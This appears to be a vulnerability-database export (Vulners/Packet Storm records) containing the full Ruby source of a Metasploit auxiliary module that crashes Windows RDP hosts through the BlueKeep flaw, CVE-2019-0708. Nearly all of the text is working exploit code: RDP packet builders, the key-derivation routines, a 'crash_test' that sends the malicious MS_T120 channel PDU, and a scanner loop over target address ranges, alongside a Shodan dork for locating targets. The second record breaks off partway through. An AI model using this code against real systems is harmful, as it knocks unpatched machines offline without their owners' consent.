rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, [\"00000000020000000000000\"].pack(\"H*\")), rc4enckey, hmackey, \"\\x03\\xef\"))\n\n      ## x64_payload:\n      rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, [\"00000000000000000200000\"].pack(\"H*\")), rc4enckey, hmackey, \"\\x03\\xef\"))\n    end\n  end\n\n  def produce_dos()\n  \n    unless(rdp_connection_initiation())\n      vprint_status(\"Could not connect to RDP.\")\n      return(false)\n    end\n    \n    vprint_status(\"Sending initial client data\")\n    received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))\n\n    rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)\n\n    vprint_status(\"Sending erect domain request\")\n    rdp_send(pdu_erect_domain_request())\n\n    vprint_status(\"Sending attach user request\")\n    received = rdp_sendrecv(pdu_attach_user_request())\n\n    user1 = received[9, 2].unpack(\"n\").first\n\n    [1003, 1004, 1005, 1006, 1007].each do | chan |\n      rdp_sendrecv(pdu_channel_request(user1, chan))\n    end\n\n    ## 5.3.4 Client Random Value\n    client_rand = ''\n    32.times { client_rand << rand(0..255) }\n    rcran = bytes_to_bignum(client_rand)\n\n    vprint_status(\"Sending security exchange PDU\")\n    rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))\n\n    ## We aren't decrypting anything at this point. Leave the variables here\n    ## to make it easier to understand in the future.\n    rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)\n\n    vprint_status(\"RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}\")\n    vprint_status(\"RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}\")\n    vprint_status(\"HMAC_KEY:    #{bin_to_hex(hmackey)}\")\n    vprint_status(\"SESS_BLOB:   #{bin_to_hex(sessblob)}\")\n\n    rc4enckey = RC4.new(rc4encstart)\n\n    vprint_status(\"Sending client info PDU\") # TODO\n    pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])\n    received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, \"\\x03\\xeb\", true))\n\n    vprint_status(\"Received License packet\")\n    rdp_recv()\n\n    vprint_status(\"Sending client confirm active PDU\")\n    rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))\n\n    vprint_status(\"Sending client synchronize PDU\")\n    rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))\n\n    vprint_status(\"Sending client control cooperate PDU\")\n    rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))\n\n    vprint_status(\"Sending client control request control PDU\")\n    rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))\n\n    vprint_status(\"Sending client input sychronize PDU\")\n    rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))\n\n    vprint_status(\"Sending client font list PDU\")\n    rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))\n\n    vprint_status(\"Sending close mst120 PDU\")\n    crash_test(rc4enckey, hmackey)\n\n    vprint_status(\"Sending client disconnection PDU\")\n    rdp_send(rdp_build_data_tpdu(\"\\x21\\x80\"))\n\n    return(true)\n  end\n\n  # ------------------------------------------------------------------------- #\n\n  def run_host(ip)\n    ## Allow the run command to call the check command.\n    begin\n      if(open_connection())\n        status = produce_dos()\n      end\n    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e\n      bt = e.backtrace.join(\"\\n\")\n      vprint_error(\"Unexpected error: #{e.message}\")\n      vprint_line(bt)\n      elog(\"#{e.message}\\n#{bt}\")\n    rescue RdpCommunicationError => e\n      vprint_error(\"Error communicating RDP protocol.\")\n      status = Exploit::CheckCode::Unknown\n    rescue Errno::ECONNRESET => e                                              # NLA?\n      vprint_error(\"Connection reset, possible NLA is enabled.\")\n    rescue => e\n      bt = e.backtrace.join(\"\\n\")\n      vprint_error(\"Unexpected error: #{e.message}\")\n      vprint_line(bt)\n      elog(\"#{e.message}\\n#{bt}\")\n    ensure\n\n      if(status == true)\n        sleep(1)\n        unless(open_connection())\n          print_good(\"The host is crashed!\")\n        else\n          print_bad(\"The DoS has been sent but the host is already connected!\")\n        end\n      end\n\n      disconnect()\n    end\n  end\n\nend",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "vhref": "https://vulners.com/exploitpack/EXPLOITPACK:C90C58C22E53621B5A2A2AAEBCDF2EBC"
    },
    {
        "lastseen": "2019-07-15T20:48:01",
        "bulletinFamily": "exploit",
        "description": "",
        "modified": "2019-07-15T00:00:00",
        "published": "2019-07-15T00:00:00",
        "id": "PACKETSTORM:153627",
        "href": "https://packetstormsecurity.com/files/153627/Microsoft-Windows-RDP-BlueKeep-Denial-Of-Service.html",
        "type": "packetstorm",
        "title": "Microsoft Windows RDP BlueKeep Denial Of Service",
        "sourceData": "`# Exploit Title: Bluekeep Denial of Service (metasploit module)  \n# Shodan Dork: port:3389  \n# Date: 07/14/2019  \n# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)  \n# Vendor Homepage: https://microsoft.com  \n# Version: all affected RDP services by cve-2019-0708  \n# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)  \n# CVE : 2019-0708  \n  \n# I just modified the initial metasploit module for this vuln to produce a denial of service attack.  \n  \n##  \n# This module requires Metasploit: http://metasploit.com/download  \n# Current source: https://github.com/rapid7/metasploit-framework  \n##  \n  \nclass MetasploitModule < Msf::Auxiliary  \nRank = NormalRanking  \n  \ninclude Msf::Auxiliary::Dos  \ninclude Msf::Auxiliary::Scanner  \ninclude Msf::Exploit::Remote::Tcp  \n  \ndef initialize(info = {})  \nsuper(update_info(info,  \n'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',  \n'Description' => %q{  \nThis module checks a range of hosts for the CVE-2019-0708 vulnerability  \nby binding the MS_T120 channel outside of its normal slot and sending  \nDoS packets.  \n},  \n'Author' =>  \n[  \n'National Cyber Security Centre', # Discovery  \n'JaGoTu', # Module  \n'zerosum0x0', # Module  \n'Tom Sellers', # TLS support and documented packets  \n'RAMELLA Sebastien' # Denial of service module  \n],  \n'References' =>  \n[  \n[ 'CVE', '2019-0708' ],  \n[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]  \n],  \n'DisclosureDate' => '2019-05-14',  \n'License' => MSF_LICENSE,  \n'Notes' =>  \n{  \n'Stability' => [ CRASH_OS_DOWN ],  \n'AKA' => ['BlueKeep']  \n}  \n))  \n  \nregister_options(  \n[  \nOptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),  \nOptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),  \nOptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),  \nOptString.new('RDP_USER', [ false, 'The username to report during connection.']),  \nOptAddressRange.new(\"RHOSTS\", [ true, 'Target address, address range or CIDR identifier']),  \nOptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])  \n]  \n)  \nend  \n  \n# ------------------------------------------------------------------------- #  \n  \ndef bin_to_hex(s)  \nreturn(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)  \nend  \n  \ndef bytes_to_bignum(bytesIn, order = \"little\")  \nbytes = bin_to_hex(bytesIn)  \nif(order == \"little\")  \nbytes = bytes.scan(/../).reverse.join('')  \nend  \ns = \"0x\" + bytes  \n  \nreturn(s.to_i(16))  \nend  \n  \n## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110  \ndef int_to_bytestring(daInt, num_chars = nil)  \nunless(num_chars)  \nbits_needed = Math.log(daInt) / Math.log(2)  \nnum_chars = (bits_needed / 8.0).ceil  \nend  \nif(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])  \n[daInt].pack(pack_code)  \nelse  \na = (0..(num_chars)).map{ | i |  \n(( daInt >> i*8 ) & 0xFF ).chr  \n}.join  \na[0..-2] # Seems legit lol!  \nend  \nend  \n  \ndef open_connection()  \nbegin  \nconnect()  \nsock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)  \nrescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e  \nvprint_error(\"Connection error: #{e.message}\")  \nreturn(false)  \nend  \n  \nreturn(true)  \nend  \n  \ndef rsa_encrypt(bignum, rsexp, rsmod)  \nreturn((bignum ** rsexp) % rsmod)  \nend  \n  \n# ------------------------------------------------------------------------- #  \n  \n## Used to abruptly abort scanner for a given host.  \nclass RdpCommunicationError < StandardError  \nend  \n  \n## Define standard RDP constants.  \nclass RDPConstants  \nPROTOCOL_RDP = 0  \nend  \n  \nDEFAULT_CHANNELS_DEFS =  \n\"\\x04\\x00\\x00\\x00\" + # channelCount: 4  \n  \n## Channels definitions consist of a name (8 bytes) and options flags  \n## (4 bytes). Names are up to 7 ANSI characters with null termination.  \n\"\\x72\\x64\\x70\\x73\\x6e\\x64\\x00\\x00\" + # rdpsnd  \n\"\\x0f\\x00\\x00\\xc0\" +  \n\"\\x63\\x6c\\x69\\x70\\x72\\x64\\x72\\x00\" + # cliprdr  \n\"\\x00\\x00\\xa0\\xc0\" +  \n\"\\x64\\x72\\x64\\x79\\x6e\\x76\\x63\" + # drdynvc  \n\"\\x00\\x00\\x00\\x80\\xc0\" +  \n\"\\x4d\\x53\\x5f\\x54\\x31\\x32\\x30\" + # MS_T120  \n\"\\x00\\x00\\x00\\x00\\x00\"  \n  \n## Builds x.224 Data (DT) TPDU - Section 13.7  \ndef rdp_build_data_tpdu(data)  \ntpkt_length = data.length + 7  \n  \n\"\\x03\\x00\" + # TPKT Header version 03, reserved 0  \n[tpkt_length].pack(\"S>\") + # TPKT length  \n\"\\x02\\xf0\" + # X.224 Data TPDU (2 bytes)  \n\"\\x80\" + # X.224 End Of Transmission (0x80)  \ndata  \nend  \n  \n## Build the X.224 packet, encrypt with Standard RDP Security as needed.  \n## Default channel_id = 0x03eb = 1003.  \ndef rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = \"\\x03\\xeb\", client_info = false, rdp_sec = true)  \nflags = 0  \nflags |= 0b1000 if(rdp_sec) # Set SEC_ENCRYPT  \nflags |= 0b1000000 if(client_info) # Set SEC_INFO_PKT  \n  \npdu = \"\"  \n  \n## TS_SECURITY_HEADER - 2.2.8.1.1.2.1  \n## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.  \nif(client_info || rdp_sec)  \npdu << [flags].pack(\"S<\") # flags \"\\x48\\x00\" = SEC_INFO_PKT | SEC_ENCRYPT  \npdu << \"\\x00\\x00\" # flagsHi  \nend  \n  \nif(rdp_sec)  \n## Encrypt the payload with RDP Standard Encryption.  \npdu << rdp_hmac(hmackey, data)[0..7]  \npdu << rdp_rc4_crypt(rc4enckey, data)  \nelse  \npdu << data  \nend  \n  \nuser_data_len = pdu.length  \nudl_with_flag = 0x8000 | user_data_len  \n  \npkt = \"\\x64\" # sendDataRequest  \npkt << \"\\x00\\x08\" # intiator userId (TODO: for a functional client this isn't static)  \npkt << channel_id # channelId  \npkt << \"\\x70\" # dataPriority  \npkt << [udl_with_flag].pack(\"S>\")  \npkt << pdu  \n  \nreturn(rdp_build_data_tpdu(pkt))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471  \n## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1  \ndef rdp_build_share_control_header(type, data, channel_id = \"\\xf1\\x03\")  \ntotal_len = data.length + 6  \n  \nreturn(  \n[total_len].pack(\"S<\") + # totalLength - includes all headers  \n[type].pack(\"S<\") + # pduType - flags 16 bit, unsigned  \nchannel_id + # PDUSource: 0x03f1 = 1009  \ndata  \n)  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31  \n## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2  \ndef rdp_build_share_data_header(type, data)  \nuncompressed_len = data.length + 4  \n  \nreturn(  \n\"\\xea\\x03\\x01\\x00\" + # shareId: 66538  \n\"\\x00\" + # pad1  \n\"\\x01\" + # streamID: 1  \n[uncompressed_len].pack(\"S<\") + # uncompressedLength - 16 bit, unsigned int  \n[type].pack(\"C\") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2  \n\"\\x00\" + # compressedType: 0  \n\"\\x00\\x00\" + # compressedLength: 0  \ndata  \n)  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b  \n## Virtual Channel PDU 2.2.6.1  \ndef rdp_build_virtual_channel_pdu(flags, data)  \ndata_len = data.length  \n  \nreturn(  \n[data_len].pack(\"L<\") + # length  \n[flags].pack(\"L<\") + # flags  \ndata  \n)  \nend  \n  \ndef rdp_calculate_rc4_keys(client_random, server_random)  \n## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).  \npreMasterSecret = client_random[0..23] + server_random[0..23]  \n  \n## PreMasterHash(I) = SaltedHash(preMasterSecret, I)  \n## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).  \nmasterSecret = rdp_salted_hash(preMasterSecret, \"A\", client_random,server_random) + rdp_salted_hash(preMasterSecret, \"BB\", client_random, server_random) + rdp_salted_hash(preMasterSecret, \"CCC\", client_random, server_random)  \n  \n## MasterHash(I) = SaltedHash(MasterSecret, I)  \n## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).  \nsessionKeyBlob = rdp_salted_hash(masterSecret, \"X\", client_random, server_random) + rdp_salted_hash(masterSecret, \"YY\", client_random, server_random) + rdp_salted_hash(masterSecret, \"ZZZ\", client_random, server_random)  \n  \n## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).  \ninitialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)  \n  \n## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).  \ninitialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)  \n  \nmacKey = sessionKeyBlob[0..15]  \n  \nreturn initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob  \nend  \n  \ndef rdp_connection_initiation()  \n## Code to check if RDP is open or not.  \nvprint_status(\"Verifying RDP protocol...\")  \n  \nvprint_status(\"Attempting to connect using RDP security\")  \nrdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))  \n  \nreceived = sock.get_once(-1, 5)  \n  \n## TODO: fix it.  \nif (received and received.include? \"\\x00\\x12\\x34\\x00\")  \nreturn(true)  \nend  \n  \nreturn(false)  \nend  \n  \n## FinalHash(K) = MD5(K + ClientRandom + ServerRandom).  \ndef rdp_final_hash(k, client_random_bytes, server_random_bytes)  \nmd5 = Digest::MD5.new  \n  \nmd5 << k  \nmd5 << client_random_bytes  \nmd5 << server_random_bytes  \n  \nreturn([md5.hexdigest].pack(\"H*\"))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94  \n## mac_salt_key = \"W\\x13\\xc58\\x7f\\xeb\\xa9\\x10*\\x1e\\xddV\\x96\\x8b[d\"  \n## data_content = \"\\x12\\x00\\x17\\x00\\xef\\x03\\xea\\x03\\x02\\x00\\x00\\x01\\x04\\x00$\\x00\\x00\\x00\"  \n## hmac = rdp_hmac(mac_salt_key, data_content) # hexlified: \"22d5aeb486994a0c785dc929a2855923\".  \ndef rdp_hmac(mac_salt_key, data_content)  \nsha1 = Digest::SHA1.new  \nmd5 = Digest::MD5.new  \n  \npad1 = \"\\x36\" * 40  \npad2 = \"\\x5c\" * 48  \n  \nsha1 << mac_salt_key  \nsha1 << pad1  \nsha1 << [data_content.length].pack('<L')  \nsha1 << data_content  \n  \nmd5 << mac_salt_key  \nmd5 << pad2  \nmd5 << [sha1.hexdigest].pack(\"H*\")  \n  \nreturn([md5.hexdigest].pack(\"H*\"))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c  \n## Parse Server MCS Connect Response PUD - 2.2.1.4  \ndef rdp_parse_connect_response(pkt)  \nptr = 0  \nrdp_pkt = pkt[0x49..pkt.length]  \n  \nwhile(ptr < rdp_pkt.length)  \nheader_type = rdp_pkt[ptr..ptr + 1]  \nheader_length = rdp_pkt[ptr + 2..ptr + 3].unpack(\"S<\")[0]  \n# vprint_status(\"header: #{bin_to_hex(header_type)}, len: #{header_length}\")  \n  \nif(header_type == \"\\x02\\x0c\")  \n# vprint_status(\"Security header\")  \n  \nserver_random = rdp_pkt[ptr + 20..ptr + 51]  \npublic_exponent = rdp_pkt[ptr + 84..ptr + 87]  \n  \nmodulus = rdp_pkt[ptr + 88..ptr + 151]  \n# vprint_status(\"modulus_old: #{bin_to_hex(modulus)}\")  \n  \nrsa_magic = rdp_pkt[ptr + 68..ptr + 71]  \nif(rsa_magic != \"RSA1\")  \nprint_error(\"Server cert isn't RSA, this scenario isn't supported (yet).\")  \nraise RdpCommunicationError  \nend  \n# vprint_status(\"RSA magic: #{rsa_magic}\")  \n  \nbitlen = rdp_pkt[ptr + 72..ptr + 75].unpack(\"L<\")[0] - 8  \nvprint_status(\"RSA #{bitlen}-bits\")  \n  \nmodulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]  \n# vprint_status(\"modulus_new: #{bin_to_hex(modulus)}\")  \nend  \n  \nptr += header_length  \nend  \n  \n# vprint_status(\"SERVER_MODULUS: #{bin_to_hex(modulus)}\")  \n# vprint_status(\"SERVER_EXPONENT: #{bin_to_hex(public_exponent)}\")  \n# vprint_status(\"SERVER_RANDOM: #{bin_to_hex(server_random)}\")  \n  \nrsmod = bytes_to_bignum(modulus)  \nrsexp = bytes_to_bignum(public_exponent)  \nrsran = bytes_to_bignum(server_random)  \n  \nvprint_status(\"MODULUS: #{bin_to_hex(modulus)} - #{rsmod.to_s}\")  \nvprint_status(\"EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}\")  \nvprint_status(\"SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}\")  \n  \nreturn rsmod, rsexp, rsran, server_random, bitlen  \nend  \n  \ndef rdp_rc4_crypt(rc4obj, data)  \nrc4obj.encrypt(data)  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f  \n## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))  \ndef rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)  \nsha1 = Digest::SHA1.new  \nmd5 = Digest::MD5.new  \n  \nsha1 << i_bytes  \nsha1 << s_bytes  \nsha1 << client_random_bytes  \nsha1 << server_random_bytes  \n  \nmd5 << s_bytes  \nmd5 << [sha1.hexdigest].pack(\"H*\")  \n  \nreturn([md5.hexdigest].pack(\"H*\"))  \nend  \n  \ndef rdp_recv()  \nbuffer_1 = sock.get_once(4, 5)  \nraise RdpCommunicationError unless buffer_1 # nil due to a timeout  \n  \nbuffer_2 = sock.get_once(buffer_1[2..4].unpack(\"S>\")[0], 5)  \nraise RdpCommunicationError unless buffer_2 # nil due to a timeout  \n  \nvprint_status(\"Received data: #{bin_to_hex(buffer_1 + buffer_2)}\")  \nreturn(buffer_1 + buffer_2)  \nend  \n  \ndef rdp_send(data)  \nvprint_status(\"Send data: #{bin_to_hex(data)}\")  \n  \nsock.put(data)  \nend  \n  \ndef rdp_sendrecv(data)  \nrdp_send(data)  \n  \nreturn(rdp_recv())  \nend  \n  \n# ------------------------------------------------------------------------- #  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10  \n## Client X.224 Connect Request PDU - 2.2.1.1  \ndef pdu_negotiation_request(user_name = \"\", requested_protocols = RDPConstants::PROTOCOL_RDP)  \n## Blank username is valid, nil is random.  \nuser_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)  \ntpkt_len = user_name.length + 38  \nx224_len = user_name.length + 33  \n  \nreturn(  \n\"\\x03\\x00\" + # TPKT Header version 03, reserved 0  \n[tpkt_len].pack(\"S>\") + # TPKT length: 43  \n[x224_len].pack(\"C\") + # X.224 LengthIndicator  \n\"\\xe0\" + # X.224 Type: Connect Request  \n\"\\x00\\x00\" + # dst reference  \n\"\\x00\\x00\" + # src reference  \n\"\\x00\" + # class and options  \n\"\\x43\\x6f\\x6f\\x6b\\x69\\x65\\x3a\\x20\\x6d\\x73\\x74\\x73\\x68\\x61\\x73\\x68\\x3d\" + # cookie - literal 'Cookie: mstshash='  \nuser_name + # Identifier \"username\"  \n\"\\x0d\\x0a\" + # cookie terminator  \n\"\\x01\\x00\" + # Type: RDP Negotiation Request (0x01)  \n\"\\x08\\x00\" + # Length  \n[requested_protocols].pack('L<') # requestedProtocols  \n)  \nend  \n  \n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b  \ndef pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = \"rdesktop\", channels_defs = DEFAULT_CHANNELS_DEFS)  \n## After negotiating TLS or NLA the connectInitial packet needs to include the  \n## protocol selection that the server indicated in its negotiation response.  \n  \n## TODO: If this is pulled into an RDP library then the channel list likely  \n## needs to be build dynamically. For example, MS_T120 likely should only  \n## ever be sent as part of checks for CVE-2019-0708.  \n  \n## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)  \n## 15 characters + null terminator, converted to unicode  \n## fixed length - 32 characters total  \nname_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')  \nname_unicode += \"\\x00\" * (32 - name_unicode.length)  \n  \npdu = \"\\x7f\\x65\" + # T.125 Connect-Initial (BER: Application 101)  \n\"\\x82\\x01\\xb2\" + # Length (BER: Length)  \n\"\\x04\\x01\\x01\" + # CallingDomainSelector: 1 (BER: OctetString)  \n\"\\x04\\x01\\x01\" + # CalledDomainSelector: 1 (BER: OctetString)  \n\"\\x01\\x01\\xff\" + # UpwaredFlag: True (BER: boolean)  \n  \n## Connect-Initial: Target Parameters  \n\"\\x30\\x19\" + # TargetParamenters (BER: SequenceOf)  \n## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***  \n\"\\x02\\x01\\x22\\x02\\x01\\x02\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\" +  \n  \n## Connect-Intial: Minimum Parameters  \n\"\\x30\\x19\" + # MinimumParameters (BER: SequencOf)  \n\"\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\x04\\x20\\x02\\x01\\x02\" +  \n  \n## Connect-Initial: Maximum Parameters  \n\"\\x30\\x1c\" + # MaximumParameters (BER: SequencOf)  \n\"\\x02\\x02\\xff\\xff\\x02\\x02\\xfc\\x17\\x02\\x02\\xff\\xff\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\" +  \n  \n## Connect-Initial: UserData  \n\"\\x04\\x82\\x01\\x51\" + # UserData, length 337 (BER: OctetString)  \n  \n## T.124 GCC Connection Data (ConnectData) - PER Encoding used  \n\"\\x00\\x05\" + # object length  \n\"\\x00\\x14\\x7c\\x00\\x01\" + # object: OID 0.0.20.124.0.1 = Generic Conference Control  \n\"\\x81\\x48\" + # Length: ??? (Connect PDU)  \n\"\\x00\\x08\\x00\\x10\\x00\\x01\\xc0\\x00\" + # T.124 Connect PDU, Conference name 1  \n\"\\x44\\x75\\x63\\x61\" + # h221NonStandard: 'Duca' (client-to-server H.221 key)  \n\"\\x81\\x3a\" + # Length: ??? (T.124 UserData section)  \n  \n## Client MCS Section - 2.2.1.3  \n\"\\x01\\xc0\" + # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2  \n\"\\xea\\x00\" + # Length: 234 (includes header)  \n\"\\x0a\\x00\\x08\\x00\" + # version: 8.1 (RDP 5.0 -> 8.1)  \n\"\\x80\\x07\" + # desktopWidth: 1920  \n\"\\x38\\x04\" + # desktopHeigth: 1080  \n\"\\x01\\xca\" + # colorDepth: 8 bpp  \n\"\\x03\\xaa\" + # SASSequence: 43523  \n\"\\x09\\x04\\x00\\x00\" + # keyboardLayout: 1033 (English US)  \n\"\\xee\\x42\\x00\\x00\" + # clientBuild: ????  \n[name_unicode].pack(\"a*\") + # clientName  \n\"\\x04\\x00\\x00\\x00\" + # keyboardType: 4 (IBMEnhanced 101 or 102)  \n\"\\x00\\x00\\x00\\x00\" + # keyboadSubtype: 0  \n\"\\x0c\\x00\\x00\\x00\" + # keyboardFunctionKey: 12  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + # imeFileName (64 bytes)  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x01\\xca\" + # postBeta2ColorDepth: 8 bpp  \n\"\\x01\\x00\" + # clientProductID: 1  \n\"\\x00\\x00\\x00\\x00\" + # serialNumber: 0  \n\"\\x18\\x00\" + # highColorDepth: 24 bpp  \n\"\\x0f\\x00\" + # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)  \n\"\\xaf\\x07\" + # earlyCapabilityFlags  \n\"\\x62\\x00\\x63\\x00\\x37\\x00\\x38\\x00\\x65\\x00\\x66\\x00\\x36\\x00\\x33\\x00\" + # clientDigProductID (64 bytes)  \n\"\\x2d\\x00\\x39\\x00\\x64\\x00\\x33\\x00\\x33\\x00\\x2d\\x00\\x34\\x00\\x31\\x00\" +  \n\"\\x39\\x38\\x00\\x38\\x00\\x2d\\x00\\x39\\x00\\x32\\x00\\x63\\x00\\x66\\x00\\x2d\" +  \n\"\\x00\\x00\\x31\\x00\\x62\\x00\\x32\\x00\\x64\\x00\\x61\\x00\\x42\\x42\\x42\\x42\" +  \n\"\\x07\" + # connectionType: 7  \n\"\\x00\" + # pad1octet  \n  \n## serverSelectedProtocol - After negotiating TLS or CredSSP this value  \n## must match the selectedProtocol value from the server's Negotiate  \n## Connection confirm PDU that was sent before encryption was started.  \n[selected_proto].pack('L<') + # \"\\x01\\x00\\x00\\x00\"  \n  \n\"\\x56\\x02\\x00\\x00\" +  \n\"\\x50\\x01\\x00\\x00\" +  \n\"\\x00\\x00\" +  \n\"\\x64\\x00\\x00\\x00\" +  \n\"\\x64\\x00\\x00\\x00\" +  \n  \n\"\\x04\\xc0\" + # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5  \n\"\\x0c\\x00\" + # Length: 12 (includes header)  \n\"\\x15\\x00\\x00\\x00\" + # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)  \n\"\\x00\\x00\\x00\\x00\" + # RedirectedSessionID  \n\"\\x02\\xc0\" + # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3  \n\"\\x0c\\x00\" + # Length: 12 (includes header)  \n\"\\x1b\\x00\\x00\\x00\" + # encryptionMethods: 3 (40 bit | 128 bit)  \n\"\\x00\\x00\\x00\\x00\" + # extEncryptionMethods (French locale only)  \n\"\\x03\\xc0\" + # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4  \n\"\\x38\\x00\" + # Length: 56 (includes header)  \nchannels_defs  \n  \n## Fix. for packet modification.  \n## T.125 Connect-Initial  \nsize_1 = [pdu.length - 5].pack(\"s\") # Length (BER: Length)  \npdu[3] = size_1[1]  \npdu[4] = size_1[0]  \n  \n## Connect-Initial: UserData  \nsize_2 = [pdu.length - 102].pack(\"s\") # UserData, length (BER: OctetString)  \npdu[100] = size_2[1]  \npdu[101] = size_2[0]  \n  \n## T.124 GCC Connection Data (ConnectData) - PER Encoding used  \nsize_3 = [pdu.length - 111].pack(\"s\") # Length (Connect PDU)  \npdu[109] = \"\\x81\"  \npdu[110] = size_3[0]  \n  \nsize_4 = [pdu.length - 125].pack(\"s\") # Length (T.124 UserData section)  \npdu[123] = \"\\x81\"  \npdu[124] = size_4[0]  \n  \n## Client MCS Section - 2.2.1.3  \nsize_5 = [pdu.length - 383].pack(\"s\") # Length (includes header)  \npdu[385] = size_5[0]  \n  \nrdp_build_data_tpdu(pdu)  \nend  \n  \n## 